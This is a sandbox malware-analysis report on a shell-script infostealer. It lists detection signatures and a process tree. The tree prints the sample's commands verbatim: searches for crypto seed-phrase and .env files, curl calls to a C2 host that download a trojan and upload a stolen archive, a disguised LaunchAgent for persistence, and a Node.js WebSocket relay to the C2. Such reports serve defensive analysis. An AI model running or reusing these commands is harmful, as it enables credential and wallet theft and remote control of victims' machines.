Analysis
- max time kernel
149s - max time network
150s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
01/09/2026, 14:51
General
- Target ps_Q4huLTcs.ps1.sh
- Size 86KB
- Sample260901-r8bz7seq4z
- SHA256 407156dcc6b97cb70efde9994f8e6ff8cfd2c9cd7e4f3d179f39edacd4d557d5
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 4 IoCs
Abuse sudo or cached sudo credentials to execute code.
- Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Enumerates running processes
Discovers information about currently running processes on the system
- Deobfuscate/Decode Files or Information 1 TTPs 64 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Reads CPU attributes 1 TTPs 63 IoCs
- Reads system network configuration 1 TTPs 18 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Command and Scripting Interpreter: JavaScript 1 TTPs 4 IoCs
Execution via JavaScript.
- Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs
Execute scripts via Unix Shell.
- Enumerates kernel/hardware configuration 1 TTPs 2 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 25 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/ps_Q4huLTcs.ps1.sh/tmp/ps_Q4huLTcs.ps1.sh1⤵
- Writes file to tmp directory
-
/bin/datedate "+%s"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/sedsed "s/, gave up.*//"2⤵
-
-
/bin/sedsed "s/.*text returned://"2⤵
-
-
/usr/bin/trtr -d "\\r"2⤵
-
-
/usr/bin/pgreppgrep -i "Google Chrome"2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i "Google Chrome Beta"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Google Chrome Canary"2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i "Google Chrome Dev"2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i "Microsoft Edge"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Microsoft Edge Beta"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Microsoft Edge Dev"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Microsoft Edge Canary"2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i "Brave Browser"2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i "Brave Browser Beta"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Brave Browser Nightly"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i Vivaldi2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i Vivaldi-Snapshot2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i Yandex2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i YandexBrowser2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i Opera2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i OperaGX2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Opera Developer"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i Chromium2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i firefox2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i firefox-bin2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i Nightly2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i TorBrowser2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i Tor2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/sleepsleep 32⤵
-
-
/usr/bin/pgreppgrep -i "Google Chrome"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Microsoft Edge"2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i "Brave Browser"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/sleepsleep 12⤵
-
-
/usr/bin/findfind "/Library/Application Support" -maxdepth 5 "(" -name "Singleton*" -o -name lockfile ")" -delete2⤵
-
-
/usr/bin/whoamiwhoami2⤵
-
-
/bin/hostnamehostname2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/mkdirmkdir -p /tmp/.oao_ps_Q4huLTcs.ps12⤵
-
-
/usr/bin/curlcurl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "password=" --data-urlencode "user=root" --data-urlencode "host=ubuntu1804-amd64-20260513-en-11"2⤵
-
-
/bin/unameuname -a2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/mkdirmkdir -p /tmp/.oao_ps_Q4huLTcs.ps1/seeds2⤵
-
-
/usr/bin/findfind -maxdepth 8 "(" -iname seed.txt -o -iname seed_phrase.txt -o -iname mnemonic.txt -o -iname recovery.txt -o -iname recovery_phrase.txt -o -iname backup.txt -o -iname backup_phrase.txt -o -iname wallet.txt -o -iname wallet_backup.txt -o -iname paperwallet.txt -o -iname private.txt -o -iname 24words.txt -o -iname 12words.txt ")" -not -path "*/Library/Caches/*" -not -path "*/node_modules/*" -not -path "*/.git/*" -not -path "*/venv/*"2⤵
-
-
/usr/bin/findfind -maxdepth 5 -name ".env*" -not -path "*/node_modules/*"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/pgreppgrep -i "Google Chrome"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Google Chrome Beta"2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i "Google Chrome Canary"2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i "Google Chrome Dev"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Microsoft Edge"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Microsoft Edge Beta"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Microsoft Edge Dev"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Microsoft Edge Canary"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Brave Browser"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Brave Browser Beta"2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i "Brave Browser Nightly"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i Vivaldi2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i Vivaldi-Snapshot2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i Yandex2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i YandexBrowser2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i Opera2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i OperaGX2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Opera Developer"2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i Chromium2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i firefox2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i firefox-bin2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i Nightly2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i TorBrowser2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i Tor2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/sleepsleep 32⤵
-
-
/usr/bin/pgreppgrep -i "Google Chrome"2⤵
- Reads CPU attributes
-
-
/bin/sleepsleep 12⤵
-
-
/usr/bin/findfind "/Library/Application Support" -maxdepth 5 "(" -name "Singleton*" -o -name lockfile ")" -delete2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/curlcurl -s http://127.0.0.1:9222/json/version2⤵
-
-
/usr/bin/curlcurl -s http://127.0.0.1:9333/json/version2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/basenamebasename "/tmp/.oao_ps_Q4huLTcs.ps1/browsers/*/"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/trtr "[:upper:]" "[:lower:]"2⤵
-
-
/usr/bin/trtr " " _2⤵
-
-
/usr/bin/basenamebasename "/Library/Application Support/Dolphin Anty"2⤵
-
-
/usr/bin/trtr "[:upper:]" "[:lower:]"2⤵
-
-
/usr/bin/trtr " " _2⤵
-
-
/usr/bin/basenamebasename "/Library/Application Support/Octo"2⤵
-
-
/usr/bin/trtr "[:upper:]" "[:lower:]"2⤵
-
-
/usr/bin/trtr " " _2⤵
-
-
/usr/bin/basenamebasename "/Library/Application Support/Indigo"2⤵
-
-
/usr/bin/trtr "[:upper:]" "[:lower:]"2⤵
-
-
/usr/bin/trtr " " _2⤵
-
-
/usr/bin/basenamebasename "/Library/Application Support/GoLogin"2⤵
-
-
/usr/bin/trtr "[:upper:]" "[:lower:]"2⤵
-
-
/usr/bin/trtr " " _2⤵
-
-
/usr/bin/basenamebasename "/Library/Application Support/AdsPower Global"2⤵
-
-
/usr/bin/trtr "[:upper:]" "[:lower:]"2⤵
-
-
/usr/bin/trtr " " _2⤵
-
-
/usr/bin/basenamebasename "/Library/Application Support/AdsPower"2⤵
-
-
/usr/bin/trtr "[:upper:]" "[:lower:]"2⤵
-
-
/usr/bin/trtr " " _2⤵
-
-
/usr/bin/basenamebasename "/Library/Application Support/Hideaway"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/killallkillall -9 "Google Chrome"2⤵
-
-
/usr/bin/killallkillall -9 "Google Chrome"2⤵
-
-
/bin/sleepsleep 0.52⤵
-
-
/bin/mkdirmkdir -p /tmp/.oao_ps_Q4huLTcs.ps1/shell2⤵
-
-
/bin/mkdirmkdir -p /tmp/.oao_ps_Q4huLTcs.ps1/system2⤵
-
-
/bin/cpcp /etc/hosts /tmp/.oao_ps_Q4huLTcs.ps1/system/hosts.txt2⤵
- Writes file to tmp directory
-
-
/bin/cpcp /etc/resolv.conf /tmp/.oao_ps_Q4huLTcs.ps1/system/resolv.conf2⤵
- Writes file to tmp directory
-
-
/bin/cpcp /etc/hostname /tmp/.oao_ps_Q4huLTcs.ps1/system/hostname.txt2⤵
- Writes file to tmp directory
-
-
/bin/lsls /Applications/2⤵
-
-
/bin/lsls /Applications/2⤵
-
-
/usr/bin/timeouttimeout 3 arp -a2⤵
-
/usr/local/sbin/arparp -a3⤵
-
-
/usr/local/bin/arparp -a3⤵
-
-
/usr/sbin/arparp -a3⤵
-
-
/usr/bin/arparp -a3⤵
-
-
/sbin/arparp -a3⤵
-
-
/bin/arparp -a3⤵
-
-
/snap/bin/arparp -a3⤵
-
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/curlcurl -sSfL https://c2.cryptobwh.icu/api/payload/trojan/ps_Q4huLTcs.ps1 -o /tmp/.oao_trojan_ps_Q4huLTcs.ps1.sh2⤵
-
-
/bin/mkdirmkdir -p /tmp/.oao_ps_Q4huLTcs.ps1/seeds2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/pgreppgrep -i "Ledger Live"2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -i "Ledger Wallet"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -i "Trezor Suite"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/datedate2⤵
-
-
/bin/lsls "/tmp/.oao_ps_Q4huLTcs.ps1/discord_*"2⤵
-
-
/bin/catcat2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/curlcurl -s -G https://c2.cryptobwh.icu/api/clickfix/summary --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "summary=browsers=0|cookies=0|wallets=0|telegram=0|discord=0|ssh=0|vpn=0|keychain=0|notes=0|cards=0" --data-urlencode "user=root" --data-urlencode "host=ubuntu1804-amd64-20260513-en-11"2⤵
-
-
/bin/cpcp /Library/Caches/.oao_timing_ps_Q4huLTcs.ps1.log /tmp/.oao_ps_Q4huLTcs.ps1/timing.txt2⤵
-
-
/bin/tartar czf /tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz -C /tmp/.oao_ps_Q4huLTcs.ps1 .2⤵
-
/bin/sh/bin/sh -c gzip3⤵
- Command and Scripting Interpreter: Unix Shell
- System Network Configuration Discovery
-
/bin/gzipgzip4⤵
- System Network Configuration Discovery
-
-
-
-
/usr/bin/statstat "-f%z" /tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz2⤵
-
-
/usr/bin/statstat "-c%s" /tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz2⤵
-
-
/usr/bin/curlcurl -s -X POST https://c2.cryptobwh.icu/api/upload -F "file=@/tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz;filename=oao_ps_Q4huLTcs.ps1_root.tar.gz" -F "bid=ps_Q4huLTcs.ps1" -F "user=root" -F "host=ubuntu1804-amd64-20260513-en-11" -F "size=5149"2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/mkdirmkdir -p /Library/.c2 /Library/LaunchAgents2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 15 https://c2.cryptobwh.icu/static/heartbeat.sh -o /Library/.c2/heartbeat.sh2⤵
-
-
/bin/chmodchmod +x /Library/.c2/heartbeat.sh2⤵
- File and Directory Permissions Modification
-
-
/bin/sedsed -i "s/ps_Q4huLTcs.ps1/ps_Q4huLTcs.ps1/g; s|https://c2.cryptobwh.icu|https://c2.cryptobwh.icu|g" /Library/.c2/heartbeat.sh2⤵
-
-
/bin/catcat2⤵
-
-
/bin/chmodchmod 644 /Library/LaunchAgents/com.apple.heartbeat.plist2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/usr/bin/pgreppgrep -f heartbeat.sh2⤵
- Reads CPU attributes
-
-
/bin/rmrm -f /tmp/.oao_full_ps_Q4huLTcs.ps1.sh2⤵
-
-
/usr/bin/nohupnohup bash /Library/.c2/heartbeat.sh2⤵
-
-
/usr/local/sbin/bashbash /Library/.c2/heartbeat.sh2⤵
-
-
/usr/local/bin/bashbash /Library/.c2/heartbeat.sh2⤵
-
-
/usr/sbin/bashbash /Library/.c2/heartbeat.sh2⤵
-
-
/usr/bin/bashbash /Library/.c2/heartbeat.sh2⤵
-
-
/sbin/bashbash /Library/.c2/heartbeat.sh2⤵
-
-
/bin/bashbash /Library/.c2/heartbeat.sh2⤵
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/dirnamedirname /Library/.c2/hb.log3⤵
-
-
/bin/mkdirmkdir -p /Library/.c23⤵
-
-
/bin/grepgrep -q "^cmd:reverse_shell "3⤵
-
-
/bin/mkdirmkdir -p /Library/.c23⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/sedsed "s/.*<string>//;s/<\\/string>//"3⤵
-
-
/bin/grepgrep "<string>"3⤵
-
-
/bin/grepgrep -A1 "<key>BID</key>" /Library/LaunchAgents/com.apple.heartbeat.plist3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/curlcurl -s --max-time 2 http://127.0.0.1:9222/json/version3⤵
-
-
/bin/mkdirmkdir -p /Library/.c2/chrome_data /Library/.c2/cache /Library/.c2/crashpad3⤵
-
-
/bin/rmrm -f /Library/.c2/chrome_data/SingletonLock /Library/.c2/chrome_data/SingletonSocket /Library/.c2/chrome_data/SingletonCookie3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/sedsed "s|https://||;s|http://||;s|/.*||"3⤵
-
-
/bin/grepgrep -q "^https"3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/usr/bin/pgreppgrep -f browserface3⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -f bf_mux3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/sleepsleep 13⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/pgreppgrep -f browserface3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/sleepsleep 13⤵
-
-
/usr/bin/pgreppgrep -f browserface3⤵
- Reads CPU attributes
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/rmrm -f /Library/.c2/bf_startup_done3⤵
-
-
/bin/grepgrep -q "^cmd:inject_chrome"3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/rmrm -rf /Library/.c2/dist /Library/.c2/node /Library/.c2/node_modules /Library/.c2/package.json3⤵
-
-
/bin/mkdirmkdir -p /Library/.c23⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 60 https://c2.cryptobwh.icu/static/browserface-dist.tar.gz -o /Library/.c2/bf.tar.gz3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/tartar xzf /Library/.c2/bf.tar.gz -C /Library/.c23⤵
-
/usr/local/sbin/gzipgzip -d4⤵
-
-
/usr/local/bin/gzipgzip -d4⤵
-
-
/usr/sbin/gzipgzip -d4⤵
-
-
/usr/bin/gzipgzip -d4⤵
-
-
/sbin/gzipgzip -d4⤵
-
-
/bin/gzipgzip -d4⤵
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/rmrm -f /Library/.c2/bf.tar.gz3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 13⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/curlcurl -s --max-time 3 http://127.0.0.1:9222/json3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 -X PUT "http://127.0.0.1:9222/json/new?url=https://www.google.com"3⤵
-
-
/bin/sleepsleep 23⤵
-
-
/bin/sedsed "s|https://||;s|http://||;s|/.*||"3⤵
-
-
/bin/grepgrep -q "^https"3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/unameuname -m3⤵
-
-
/usr/bin/curlcurl -s --max-time 2 http://127.0.0.1:9222/json/version3⤵
-
-
/usr/bin/nohupnohup node /Library/.c2/dist/server/cli.js3⤵
-
-
/usr/local/sbin/nodenode /Library/.c2/dist/server/cli.js3⤵
- Command and Scripting Interpreter: JavaScript
-
-
/usr/local/bin/nodenode /Library/.c2/dist/server/cli.js3⤵
- Command and Scripting Interpreter: JavaScript
-
-
/usr/sbin/nodenode /Library/.c2/dist/server/cli.js3⤵
- Command and Scripting Interpreter: JavaScript
-
-
/usr/bin/nodenode /Library/.c2/dist/server/cli.js3⤵
- Command and Scripting Interpreter: JavaScript
- Enumerates kernel/hardware configuration
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/sleepsleep 33⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/nohupnohup node -e " const WebSocket = require('/Library/.c2/node_modules/ws'); const c2Url = process.env.C2_WS_URL; const bfWsUrl = 'ws://127.0.0.1:8768/ws'; let bfWs = null, c2Ws = null; let retries = 0; const log = (m) => { try { require('fs').appendFileSync('/Library/.c2/bf_mux.log', new Date().toISOString()+' '+m+'\\n'); } catch(e) {} }; function connect() { bfWs = new WebSocket(bfWsUrl); bfWs.on('open', () => { log('bf_ws_connected'); bfWs.send(JSON.stringify({ type: 'hello', client: 'c2-agent', role: 'agent' })); retries = 0; c2Ws = new WebSocket(c2Url); c2Ws.on('open', () => log('c2_ws_connected')); c2Ws.on('message', (d) => { if (bfWs?.readyState === 1) bfWs.send(d.toString()); }); c2Ws.on('close', () => { log('c2_ws_closed'); scheduleReconnect(); }); c2Ws.on('error', () => {}); }); bfWs.on('message', (d, isBinary) => { if (c2Ws?.readyState === 1) c2Ws.send(isBinary ? d : d.toString()); }); bfWs.on('close', () => { log('bf_ws_closed'); try { c2Ws?.close(); } catch {} scheduleReconnect(); }); bfWs.on('error', () => {}); // Keepalive: ping every 15s setInterval(() => { try { if (c2Ws?.readyState === 1) c2Ws.ping(); } catch(e) {} try { if (bfWs?.readyState === 1) bfWs.ping(); } catch(e) {} }, 15000); } function scheduleReconnect() { retries++; // Exponential backoff: 5s, 10s, 20s, 40s, max 120s const delay = Math.min(5000 * Math.pow(2, Math.min(retries - 1, 5)), 120000); log('reconnect retry=' + retries + ' delay=' + (delay/1000) + 's'); setTimeout(connect, delay); } connect(); "3⤵
-
-
/usr/local/sbin/nodenode -e " const WebSocket = require('/Library/.c2/node_modules/ws'); const c2Url = process.env.C2_WS_URL; const bfWsUrl = 'ws://127.0.0.1:8768/ws'; let bfWs = null, c2Ws = null; let retries = 0; const log = (m) => { try { require('fs').appendFileSync('/Library/.c2/bf_mux.log', new Date().toISOString()+' '+m+'\\n'); } catch(e) {} }; function connect() { bfWs = new WebSocket(bfWsUrl); bfWs.on('open', () => { log('bf_ws_connected'); bfWs.send(JSON.stringify({ type: 'hello', client: 'c2-agent', role: 'agent' })); retries = 0; c2Ws = new WebSocket(c2Url); c2Ws.on('open', () => log('c2_ws_connected')); c2Ws.on('message', (d) => { if (bfWs?.readyState === 1) bfWs.send(d.toString()); }); c2Ws.on('close', () => { log('c2_ws_closed'); scheduleReconnect(); }); c2Ws.on('error', () => {}); }); bfWs.on('message', (d, isBinary) => { if (c2Ws?.readyState === 1) c2Ws.send(isBinary ? d : d.toString()); }); bfWs.on('close', () => { log('bf_ws_closed'); try { c2Ws?.close(); } catch {} scheduleReconnect(); }); bfWs.on('error', () => {}); // Keepalive: ping every 15s setInterval(() => { try { if (c2Ws?.readyState === 1) c2Ws.ping(); } catch(e) {} try { if (bfWs?.readyState === 1) bfWs.ping(); } catch(e) {} }, 15000); } function scheduleReconnect() { retries++; // Exponential backoff: 5s, 10s, 20s, 40s, max 120s const delay = Math.min(5000 * Math.pow(2, Math.min(retries - 1, 5)), 120000); log('reconnect retry=' + retries + ' delay=' + (delay/1000) + 's'); setTimeout(connect, delay); } connect(); "3⤵
-
-
/usr/local/bin/nodenode -e " const WebSocket = require('/Library/.c2/node_modules/ws'); const c2Url = process.env.C2_WS_URL; const bfWsUrl = 'ws://127.0.0.1:8768/ws'; let bfWs = null, c2Ws = null; let retries = 0; const log = (m) => { try { require('fs').appendFileSync('/Library/.c2/bf_mux.log', new Date().toISOString()+' '+m+'\\n'); } catch(e) {} }; function connect() { bfWs = new WebSocket(bfWsUrl); bfWs.on('open', () => { log('bf_ws_connected'); bfWs.send(JSON.stringify({ type: 'hello', client: 'c2-agent', role: 'agent' })); retries = 0; c2Ws = new WebSocket(c2Url); c2Ws.on('open', () => log('c2_ws_connected')); c2Ws.on('message', (d) => { if (bfWs?.readyState === 1) bfWs.send(d.toString()); }); c2Ws.on('close', () => { log('c2_ws_closed'); scheduleReconnect(); }); c2Ws.on('error', () => {}); }); bfWs.on('message', (d, isBinary) => { if (c2Ws?.readyState === 1) c2Ws.send(isBinary ? d : d.toString()); }); bfWs.on('close', () => { log('bf_ws_closed'); try { c2Ws?.close(); } catch {} scheduleReconnect(); }); bfWs.on('error', () => {}); // Keepalive: ping every 15s setInterval(() => { try { if (c2Ws?.readyState === 1) c2Ws.ping(); } catch(e) {} try { if (bfWs?.readyState === 1) bfWs.ping(); } catch(e) {} }, 15000); } function scheduleReconnect() { retries++; // Exponential backoff: 5s, 10s, 20s, 40s, max 120s const delay = Math.min(5000 * Math.pow(2, Math.min(retries - 1, 5)), 120000); log('reconnect retry=' + retries + ' delay=' + (delay/1000) + 's'); setTimeout(connect, delay); } connect(); "3⤵
-
-
/usr/sbin/nodenode -e " const WebSocket = require('/Library/.c2/node_modules/ws'); const c2Url = process.env.C2_WS_URL; const bfWsUrl = 'ws://127.0.0.1:8768/ws'; let bfWs = null, c2Ws = null; let retries = 0; const log = (m) => { try { require('fs').appendFileSync('/Library/.c2/bf_mux.log', new Date().toISOString()+' '+m+'\\n'); } catch(e) {} }; function connect() { bfWs = new WebSocket(bfWsUrl); bfWs.on('open', () => { log('bf_ws_connected'); bfWs.send(JSON.stringify({ type: 'hello', client: 'c2-agent', role: 'agent' })); retries = 0; c2Ws = new WebSocket(c2Url); c2Ws.on('open', () => log('c2_ws_connected')); c2Ws.on('message', (d) => { if (bfWs?.readyState === 1) bfWs.send(d.toString()); }); c2Ws.on('close', () => { log('c2_ws_closed'); scheduleReconnect(); }); c2Ws.on('error', () => {}); }); bfWs.on('message', (d, isBinary) => { if (c2Ws?.readyState === 1) c2Ws.send(isBinary ? d : d.toString()); }); bfWs.on('close', () => { log('bf_ws_closed'); try { c2Ws?.close(); } catch {} scheduleReconnect(); }); bfWs.on('error', () => {}); // Keepalive: ping every 15s setInterval(() => { try { if (c2Ws?.readyState === 1) c2Ws.ping(); } catch(e) {} try { if 